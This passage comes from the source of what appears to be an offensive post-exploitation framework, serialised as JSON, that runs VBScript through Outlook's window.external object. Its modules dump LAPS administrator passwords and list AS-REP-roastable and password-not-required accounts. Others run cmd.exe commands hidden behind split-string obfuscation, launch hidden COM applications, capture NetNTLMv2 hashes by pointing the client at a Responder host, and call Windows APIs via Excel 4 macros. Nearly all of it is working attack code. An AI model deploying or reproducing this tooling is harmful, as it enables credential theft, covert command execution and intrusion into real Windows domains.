& vbCrLf\r\n\t\t\t\tReturndata = Returndata & polpath & vbCrLf\r\n\t\t\t\tReturndata = Returndata & \"Entry: \"\r\n\t\t\t\tReturndata = Returndata & strLine & vbCrLf\r\n\t\t\tend if\r\n\t\tloop\r\n\t\tf.close\r\n\telse\r\n\t\tReturndata = Returndata & \"Could not find default domain controller policy at path\" & vbCrLf\r\n\t\tReturndata = Returndata & polpath & vbCrLf\r\n\tend if\r\n\r\n\tlist_addcomputertodomain = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/ldap/list_asreproast.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates all users from Active Directory that has the --Do Not Require Kerberos Pre-authentication-- set. \n        It returns the sAMAccountName, ADSIPath and the useraccountcontrol value\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT DS_userAccountControl,DS_samaccountname FROM ds_user Where DS_userAccountControl >= 4194304\n        \"\"\"\n        self.entry = 'list_asreproast'\n        self.depends = []\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/enumerate/ldap/list_asreproast.txt",
    "content": "Function list_asreproast()\r\n\tOn error resume next\r\n\r\n\tConst DONT_REQUIRE_PREAUTH = 4194304\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\r\n\tReturndata = Returndata & \"Running query: \" & \"SELECT DS_userAccountControl,DS_samaccountname FROM ds_user Where DS_userAccountControl >= 4194304\" & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery(\"SELECT DS_userAccountControl,DS_samaccountname FROM ds_user Where DS_userAccountControl >= 4194304\")\r\n\tFor Each PATH in colItems\r\n\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\tcase \"Long\"\r\n\t\t\t\t\tif DONT_REQUIRE_PREAUTH and pathAttribute.value Then\r\n\t\t\t\t\t\tReturndata = Returndata & PATH.ADSIPath & vbCrLf\r\n\t\t\t\t\t\tReturndata = Returndata & \"Samaccountname: \" & PATH.DS_samaccountname & vbCrLf\r\n\t\t\t\t\t\tReturndata = Returndata & \"DONT_REQUIRE_PREAUTH enabled\" & vbCrLf\r\n\t\t\t\t\t\tReturndata = Returndata & \"UserAccountControl set to: \" & PATH.DS_userAccountControl & vbCrLf\r\n\t\t\t\t\t\tReturndata = Returndata & vbCrLf\r\n\t\t\t\t\tend if\r\n\t\t\tEnd Select\r\n\t\tNext\r\n\tNext\r\n\tlist_asreproast = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/ldap/list_computer.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the computer specified in the samaccountName option. \n        If computer account is found it also enumerates the properties of the account.\n        If account not found it will say so in the returned data.\n\n        Remember to specify with $ in the end. \n        Like: set samaccountname dc1$\n        \n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT * FROM ds_computer Where DS_sAMAccountName = VARIABLE\n        \"\"\"\n        self.entry = 'list_computer'\n        self.depends = []\n        self.options['samaccountname'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"samaccountname to retreive information for\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/ldap/list_computer.txt",
    "content": "Function list_computer()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\r\n\tReturndata = Returndata & \"Running query: \" & \"SELECT * FROM ds_computer Where DS_sAMAccountName = '\" & {{samaccountname}} & \"'\" & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery(\"SELECT * FROM ds_computer Where DS_sAMAccountName = '\" & {{samaccountname}} & \"'\")\r\n\t\r\n\tif Not colItems.count <= 0 then\r\n\t\tReturndata = Returndata & \"samaccountname lookup successful:\" & vbCrLf\r\n\t\r\n\t\tFor Each PATH in colItems\r\n\t\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\t\tcase \"String\"\r\n\t\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\t\tcase \"Long\"\r\n\t\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\t\tcase \"Boolean\"\r\n\t\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\t\tcase \"SWbemObjectEx\"\r\n\t\t\t\t\t\t'Cannot get this work...\r\n\t\t\t\t\t\t'Returndata = Returndata & pathAttribute.name & vbCrLf\r\n\t\t\t\t\tcase \"Variant()\"\r\n\t\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"::\" & Join(pathAttribute.value, \",\") & vbCrLf\r\n\t\t\t\tEnd Select\r\n\t\t\tNext\r\n\t\tNext\r\n\telse\r\n\t\tReturndata = Returndata & {{samaccountname}} & \" not found\" & vbCrLf\r\n\tend if\r\n\tlist_computer = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/ldap/list_computers.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates all computers from Active Directory. \n        It returns the sAMAccountName\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT DS_sAMAccountName FROM ds_computer\n        \"\"\"\n        self.entry = 'list_computers'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/ldap/list_computers.txt",
    "content": "Function list_computers()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\r\n\tReturndata = Returndata & \"Running query: \" & \"SELECT DS_sAMAccountName FROM ds_computer\" & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery(\"SELECT DS_sAMAccountName FROM ds_computer\")\r\n\tFor Each PATH in colItems\r\n\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\tcase \"String\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Long\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Boolean\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"SWbemObjectEx\"\r\n\t\t\t\t\t'Cannot get this work...\r\n\t\t\t\t\t'Returndata = Returndata & pathAttribute.name & vbCrLf\r\n\t\t\t\tcase \"Variant()\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"::\" & Join(pathAttribute.value, \",\") & vbCrLf\r\n\t\t\tEnd Select\r\n\t\tNext\r\n\t\tReturndata = Returndata & vbCrLf\r\n\tNext\r\n\r\n\tlist_computers = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/ldap/list_domaininfo.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates Top level information from the specified domain in the Domain option.\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT * FROM ds_domaindns\n        \"\"\"\n        self.entry = 'list_domaininfo'\n        self.depends = []\n\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/enumerate/ldap/list_domaininfo.txt",
    "content": "Function list_domaininfo()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\r\n\tReturndata = Returndata & \"Running query: SELECT * FROM ds_domaindns\" & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery(\"SELECT * FROM ds_domaindns\")\r\n\tFor Each PATH in colItems\r\n\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\tcase \"String\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Long\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Boolean\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"SWbemObjectEx\"\r\n\t\t\t\t\t'Cannot get this work...\r\n\t\t\t\t\t'Returndata = Returndata & pathAttribute.name & vbCrLf\r\n\t\t\t\tcase \"Variant()\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"::\" & Join(pathAttribute.value, \",\") & vbCrLf\r\n\t\t\tEnd Select\r\n\t\tNext\r\n\t\tReturndata = Returndata & vbCrLf\r\n\tNext\r\n\r\n\tlist_domaininfo = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/ldap/list_lapspassword.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the LAPS passwords in the current domain. \n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT DS_ms_Mcs_AdmPwd,DS_sAMAccountName,DS_ms_Mcs_AdmPwdExpirationTime FROM ds_computer Where DS_ms_Mcs_AdmPwd != NULL\n        \"\"\"\n        self.entry = 'list_lapspassword'\n        self.depends = []\n\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/ldap/list_lapspassword.txt",
    "content": "Function list_lapspassword()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\r\n\tReturndata = Returndata & \"Running query: \" & \"SELECT DS_ms_Mcs_AdmPwd FROM ds_computer Where DS_ms_Mcs_AdmPwd != NULL\" & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery(\"SELECT DS_ms_Mcs_AdmPwd,DS_sAMAccountName,DS_ms_Mcs_AdmPwdExpirationTime FROM ds_computer Where DS_ms_Mcs_AdmPwd != NULL\")\r\n\t\r\n\tFor Each PATH in colItems\r\n\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\tcase \"String\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Long\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Boolean\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"BOOL:\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"SWbemObjectEx\"\r\n\t\t\t\t\t'Cannot get this work...\r\n\t\t\t\t\t'Returndata = Returndata & pathAttribute.name & vbCrLf\r\n\t\t\t\tcase \"Variant()\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"::\" & Join(pathAttribute.value, \",\") & vbCrLf\r\n\t\t\tEnd Select\r\n\t\tNext\r\n\t\tReturndata = Returndata & vbCrLf\r\n\tNext\r\n\tlist_lapspassword = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/ldap/list_passwordnotrequired.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates all users from Active Directory that has the --Does not require password-- set. \n        It returns the sAMAccountName, ADSIPath and the useraccountcontrol value\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT DS_userAccountControl,DS_samaccountname FROM ds_user Where DS_userAccountControl >= 32\n        \"\"\"\n        self.entry = 'list_passwordnotrequired'\n        self.depends = []\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/enumerate/ldap/list_passwordnotrequired.txt",
    "content": "Function list_passwordnotrequired()\r\n\tOn error resume next\r\n\r\n\tConst PASSWD_NOTREQD = 32\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\r\n\tReturndata = Returndata & \"Running query: \" & \"SELECT DS_userAccountControl,DS_samaccountname FROM ds_user Where DS_userAccountControl >= 32\" & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery(\"SELECT DS_userAccountControl,DS_samaccountname FROM ds_user Where DS_userAccountControl >= 32\")\r\n\tFor Each PATH in colItems\r\n\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\tcase \"Long\"\r\n\t\t\t\t\tif PASSWD_NOTREQD and pathAttribute.value Then\r\n\t\t\t\t\t\tReturndata = Returndata & PATH.ADSIPath & vbCrLf\r\n\t\t\t\t\t\tReturndata = Returndata & \"Samaccountname: \" & PATH.DS_samaccountname & vbCrLf\r\n\t\t\t\t\t\tReturndata = Returndata & \"PASSWD_NOTREQD enabled\" & vbCrLf\r\n\t\t\t\t\t\tReturndata = Returndata & \"UserAccountControl set to: \" & PATH.DS_userAccountControl & vbCrLf\r\n\t\t\t\t\t\tReturndata = Returndata & vbCrLf\t\t\t\t\r\n\t\t\t\t\tend if\r\n\t\t\tEnd Select\r\n\t\tNext\r\n\tNext\r\n\tlist_passwordnotrequired = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/ldap/list_passwordpolicy.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the password policy from the current domain. \n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT DS_pwdProperties,DS_minPwdAge,DS_maxPwdAge,DS_minPwdLength,DS_lockoutThreshold,DS_lockoutDuration,DS_lockOutObservationWindow,DS_pwdHistoryLength FROM ds_domaindns\n        \"\"\"\n        self.entry = 'list_passwordpolicy'\n        self.depends = []\n\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/ldap/list_passwordpolicy.txt",
    "content": "Function list_passwordpolicy()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\r\n\tReturndata = Returndata & \"Running query: \" & \"SELECT DS_pwdProperties,DS_minPwdAge,DS_maxPwdAge,DS_minPwdLength,DS_lockoutThreshold,DS_lockoutDuration,DS_lockOutObservationWindow,DS_pwdHistoryLength FROM ds_domaindns\" & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery(\"SELECT DS_pwdProperties,DS_minPwdAge,DS_maxPwdAge,DS_minPwdLength,DS_lockoutThreshold,DS_lockoutDuration,DS_lockOutObservationWindow,DS_pwdHistoryLength FROM ds_domaindns\")\r\n\tFor Each PATH in colItems\r\n\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\tcase \"String\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Long\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Boolean\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"BOOL:\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"SWbemObjectEx\"\r\n\t\t\t\t\t'Cannot get this work...\r\n\t\t\t\t\t'Returndata = Returndata & pathAttribute.name & vbCrLf\r\n\t\t\t\tcase \"Variant()\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"::\" & Join(pathAttribute.value, \",\") & vbCrLf\r\n\t\t\tEnd Select\r\n\t\tNext\r\n\t\tReturndata = Returndata & vbCrLf\r\n\tNext\r\n\tlist_passwordpolicy = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/ldap/list_user.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the user specified in the samaccountName option. \n        If user account is found it also enumerates the properties of the account.\n        If account not found it will say so in the returned data\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT * FROM ds_user Where DS_sAMAccountName = VARIABLE\n        \"\"\"\n        self.entry = 'list_user'\n        self.depends = []\n        self.options['samaccountname'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"samaccountname to retreive information for\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/ldap/list_user.txt",
    "content": "Function list_user()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\r\n\tReturndata = Returndata & \"Running query: \" & \"SELECT * FROM ds_user Where DS_sAMAccountName = '\" & {{samaccountname}} & \"'\" & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery(\"SELECT * FROM ds_user Where DS_sAMAccountName = '\" & {{samaccountname}} & \"'\")\r\n\t\r\n\tif Not colItems.count <= 0 then\r\n\t\tReturndata = Returndata & \"samaccountname lookup successful:\" & vbCrLf\r\n\t\r\n\t\tFor Each PATH in colItems\r\n\t\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\t\tcase \"String\"\r\n\t\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\t\tcase \"Long\"\r\n\t\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\t\tcase \"Boolean\"\r\n\t\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\t\tcase \"SWbemObjectEx\"\r\n\t\t\t\t\t\t'Cannot get this work...\r\n\t\t\t\t\t\t'Returndata = Returndata & pathAttribute.name & vbCrLf\r\n\t\t\t\t\tcase \"Variant()\"\r\n\t\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"::\" & Join(pathAttribute.value, \",\") & vbCrLf\r\n\t\t\t\tEnd Select\r\n\t\t\tNext\r\n\t\tNext\r\n\telse\r\n\t\tReturndata = Returndata & {{samaccountname}} & \" not found\" & vbCrLf\r\n\tend if\r\n\tlist_user = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/ldap/list_users.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates all users from Active Directory. \n        It returns the sAMAccountName\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT DS_sAMAccountName FROM ds_user\n        \"\"\"\n        self.entry = 'list_users'\n        self.depends = []\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/enumerate/ldap/list_users.txt",
    "content": "Function list_users()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\r\n\tReturndata = Returndata & \"Running query: \" & \"SELECT DS_sAMAccountName FROM ds_user\" & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery(\"SELECT DS_sAMAccountName FROM ds_user\")\r\n\tFor Each PATH in colItems\r\n\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\tcase \"String\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Long\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Boolean\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"SWbemObjectEx\"\r\n\t\t\t\t\t'Cannot get this work...\r\n\t\t\t\t\t'Returndata = Returndata & pathAttribute.name & vbCrLf\r\n\t\t\t\tcase \"Variant()\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"::\" & Join(pathAttribute.value, \",\") & vbCrLf\r\n\t\t\tEnd Select\r\n\t\tNext\r\n\t\tReturndata = Returndata & vbCrLf\r\n\tNext\r\n\r\n\tlist_users = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/execute/host/application.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Executes the specified COM application hidden.\n        Application is specified setting the com_application option. It defaults to word.application.\n        Note that some of the applications starts and immmediatly terminates.\n\n        Typical application are: \n        - word.application\n        - excel.application\n        - powerpoint.application\n        - access.application\n        - oneNote.application\n        - publisher.application\n\n        Full list of objects can be found using this Powershell oneliner:\n        gci HKLM:\\\\Software\\\\Classes -ea 0| ? {$_.PSChildName -match '^\\\\w+\\\\.\\\\w+$' -and (gp \"$($_.PSPath)\\\\CLSID\" -ea 0)} | ft PSChildName\n\n        The executed application gets the parent pid of SVCHost.exe (C:\\Windows\\system32\\svchost.exe -k DcomLaunch -p)\n\n        It uses CreateObject(Specified com application)\n        \"\"\"\n        self.entry = 'Execute_Application'\n        self.depends = []\n        self.options['com_application'] = {\n            \"value\": \"word.application\",\n            \"required\": True,\n            \"description\": \"COM application to start\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/application.txt",
    "content": "Function Execute_Application()\r\n    On Error Resume Next\r\n\tSet app = window.external.OutlookApplication.CreateObject({{com_application}})\r\n    app.Visible = false\r\n    Execute_Application = \"Command executed: OutlookApplication.CreateObject(\" & {{com_application}} & \")\"\r\nEnd Function\r\n"
  },
  {
    "path": "functions/execute/host/capture_netntlmv2.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module makes a MSXML2.ServerXMLHTTP.6.0 Get request towards the URL specified in the URL option\n        and you need a responder listening on the address to capture the hash.\n\n        Lets say you want to send the client to https://hashcapture.com\n        set webserver_address hashcapture.com\n        set url https://hashcapture.com\n        run\n\n        This should give you the netNTLMv2 hash in Responder\n        If you are able to enable LM/netNTLMv1 support in the OS this can also be used to capture that.\n        \n        It uses MSXML2.ServerXMLHTTP.6.0\n        - SetProxy\n        - setRequestHeader\n        - open\n        - send\n        \"\"\"\n        self.entry = 'capture_netntlmv2'\n        self.depends = []\n        self.options['webserver_address'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Main FQDN/IP of the server without HTTP/HTTPS - ex hashcapture.com\",\n            \"handler\": quotedstring\n        }\n\n        self.options['url'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Full url - ex https://hashcapture.com\",\n            \"handler\": quotedstring\n        }\n        self.options['useragent'] = {\n            \"value\": None,\n            \"required\": False,\n            \"description\": \"Useragent - Retrieved from DB\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n    def preprocess(self, agent):\n        self.options['useragent']['value'] = agent.useragent"
  },
  {
    "path": "functions/execute/host/capture_netntlmv2.txt",
    "content": "Function capture_netntlmv2()\r\n    On Error Resume Next\r\n    Set oHTTP = window.external.OutlookApplication.CreateObject(\"MSXML2.ServerXMLHTTP.6.0\")\r\n    oHTTP.SetProxy 2, {{ webserver_address }}, \"*\"\r\n    oHTTP.setRequestHeader \"User-Agent\", {{ useragent }}\r\n    oHTTP.open \"GET\", {{ url }}, False\r\n    oHTTP.send\r\nEnd Function"
  },
  {
    "path": "functions/execute/host/cmd.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Execute a command via cmd.exe and print any output to the agent log file.\n        Uses the cmd /c prefix\n\n        It uses Wscript.shell\n        - Run\n\n        It uses Scripting.FileSystemObject\n        - OpenTextFile\n        - FileExists\n        - GetSpecialFolder\n        - GetTempname\n        - DeleteFile\n\n        \"\"\"\n        self.entry = 'Execute_CMD'\n        self.options['command'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Command to execute on remote target\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/cmd.txt",
    "content": "Function Execute_CMD()\n\tOn Error Resume Next\n\n\tConst HIDDEN_WINDOW = 0\n\tSet ws = window.external.OutlookApplication.CreateObject(\"Wscr\" & \"ipt.s\" & \"hell\")\n\tSet f = window.external.OutlookApplication.CreateObject(\"Scri\" & \"pting.FileSyst\" & \"emObject\")\n\ttmp = f.GetSpecialFolder(2)\n\tfn = f.GetTempName\n\tff = tmp & \"\\\"  & fn\n\tc = \"cmd /c \" & {{command}} & \" > \" & ff\n\n\tws.Run c, 0, true\n\tif f.FileExists(ff) then\n\t    set tf = f.OpenTextFile(ff)\n\t    if not tf.atendofstream then\n            retval = tf.ReadAll\n            tf.close()\n\t        Execute_CMD = \"Command executed: \" & c & vbCrLf & retval\n        else\n\t\t\ttf.close()\n\t\t\tExecute_CMD = \"Command: \" & c & \"  returned no data\"\n        end if\n\t\tf.DeleteFile ff\n    end if\nEnd Function"
  },
  {
    "path": "functions/execute/host/execute_excel4macro.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module spawns a new instance of excel and executes ExecuteExcel4Macro to execute provided call.\n        ExecuteExcel4Macro(\"CALL(INPUT)\")\n\n        Example calling Windows API using INPUT: \n        - set input \"\"Kernel32\"\",\"\"GetTickCount\"\",\"\"J\"\"\n        - set input \"\"user32\"\",\"\"SetCursorPos\"\",\"\"JJJ\"\",1,2\n        \n        Info about the datatypes (J)\n        B - 8-byte floating-point number (IEEE), Transferred by Value, C type double.\n        C - Zero (null) terminated string (max. Length = 255 characters), Transferred by Reference, C type char *\n        F - Zero (null) terminated string (max. Length = 255 characters), Transferred by Reference (modify in place), C type char *\n        J - 4 bytes wide signed integer, Transferred by Value, C type long int\n        P - Excel's OPER data structure, Transferred by Reference, C type OPER *\n        R - Excel's XLOPER data structure, Transferred by Reference, C type XLOPER *\n        \n        It uses the excel application\n        - ExecuteExcel4Macro\n        \"\"\"\n        self.entry = 'execute_excel4macro'\n        self.depends = []\n        self.options['input'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"What to execute, remember two double quotes around parameters, see help!\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/execute/host/execute_excel4macro.txt",
